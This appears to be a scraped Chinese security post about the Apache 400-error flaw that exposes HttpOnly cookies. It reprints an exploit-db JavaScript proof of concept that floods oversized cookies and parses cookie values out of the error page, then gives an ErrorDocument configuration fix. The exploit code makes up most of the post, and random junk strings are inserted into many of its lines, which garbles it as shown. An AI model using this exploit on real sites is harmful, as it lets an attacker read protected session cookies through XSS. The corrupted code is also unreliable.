Apache HttpOnly Cookie XSS跨站漏洞

admin

很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题，一般都采用给cookie加上httponly的属性，来禁止直接使用js得到用户的cookie，从而降低xss的危害，而这个问题刚好可以用来绕过cookie的这个httponly的属性。

用chrome打开一个站点，F12打开开发者工具，找到console输入如下代码并回车:
% f2 l: Q" Y( z& W% h
$ f1 z1 B0 i% S% m* y5 n" I. A
// http://www.exploit-db.com/exploits/18442/
6 e: w8 \$ d$ ?+ d' `6 tfunction setCookies (good) {
// Construct string for cookie value
var str = "";
- U; J4 W: u3 E2 l3 Z, hfor (var i=0; i< 819; i++) {
: ^8 v1 l5 O1 H8 M7 \5 w& k8 i; ystr += "x";
$ a' p  I' ~9 J# Q" E+ i5 P- n* h}
5 Q$ f2 s# z. m! ~' q1 v( r) J// Set cookies
5 G  a: K: @! C6 K& j3 L$ F0 Ifor (i = 0; i < 10; i++) {
// Expire evil cookie
if (good) {
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
}
1 S& E, r* G% r// Set evil cookie
& F6 R) Q9 w$ x) @/ _else {
( N" j1 i6 T1 c( O9 |var cookie = "xss"+i+"="+str+";path=/";
}
' e. B- Z% f6 }$ gdocument.cookie = cookie;
. @8 j. g) u, b, T6 f+ r- o  @7 d+ H}
}
function makeRequest() {
2 t+ I8 I2 ?' U: {4 l$ L: E9 bsetCookies();
function parseCookies () {
var cookie_dict = {};
. m' w* r; u8 e' A1 F* j// Only react on 400 status
if (xhr.readyState === 4 && xhr.status === 400) {
// Replace newlines and match <pre> content
+ G% T* y' _' ]var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
if (content.length) {
' C' G0 n: {& N% r// Remove Cookie: prefix
! m. u& J: a* b4 ?1 Tcontent = content[1].replace("Cookie: ", "");
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
// Add cookies to object
for (var i=0; i<cookies.length; i++) {
" c: i% Z& D' }8 ^var s_c = cookies.split('=',2);
cookie_dict[s_c[0]] = s_c[1];
}
) a+ I0 i, [; G3 H3 T7 i}
// Unset malicious cookies
setCookies(true);
" T6 n" O/ A# E7 I* G8 }alert(JSON.stringify(cookie_dict));
}
) {# k" a! T& a) v% r}
! R: p8 t3 d0 K// Make XHR request
- ~  \$ [" w9 z8 d! T& y# u/ tvar xhr = new XMLHttpRequest();
4 D/ ]5 I* `& I# L+ D+ gxhr.onreadystatechange = parseCookies;
xhr.open("GET", "/", true);
  D1 y, Z, e% t- a8 a5 axhr.send(null);
- p+ M3 S/ [5 y$ m; y}
- w: b6 v  C: P, ~2 L( m2 |) h" I' EmakeRequest();

你就能看见华丽丽的400错误包含着cookie信息。

/ V6 o) a5 p, t+ ]7 r% L# {, Z3 ?下载地址：https://gist.github.com/pilate/1955a1c28324d4724b7b/download#

修复方案：
9 J  d1 I: g8 \( S1 y* D# Q, t' J
Apache官方提供4种错误处理方式（http://httpd.apache.org/docs/2.0/mod/core.html#errordocument），如下

4 b) e# I$ X. W6 _: R" r) |In the event of a problem or error, Apachecan be configured to do one of four things,
5 Z: e  x" `2 C7 y  V9 s
1 I" K, `5 q6 N  a. S1 Y1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
2. output acustomized message输出一段信息
) d, h1 f# D7 X# ~5 P- N# y) P0 t3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
% Z/ I* }& h' f4 N/ e  b4. redirect to an external URL to handle theproblem/error转向一个外部URL

; r9 K& S% R( K8 l经测试，对于400错误只有方法2有效，返回包不会再包含cookie内容

7 s. ?" @( ~3 _6 Y; V. ^Apache配置：
- C* U  a+ X8 y9 o+ {' x
ErrorDocument400 " security test"

当然，升级apache到最新也可：）。

参考：http://httpd.apache.org/security/vulnerabilities_22.html
, j  }! z/ I  U. N) t8 D8 U" ?+ J2 F
3 S, b( [! w7 n; j, z  N9 {% f8 ]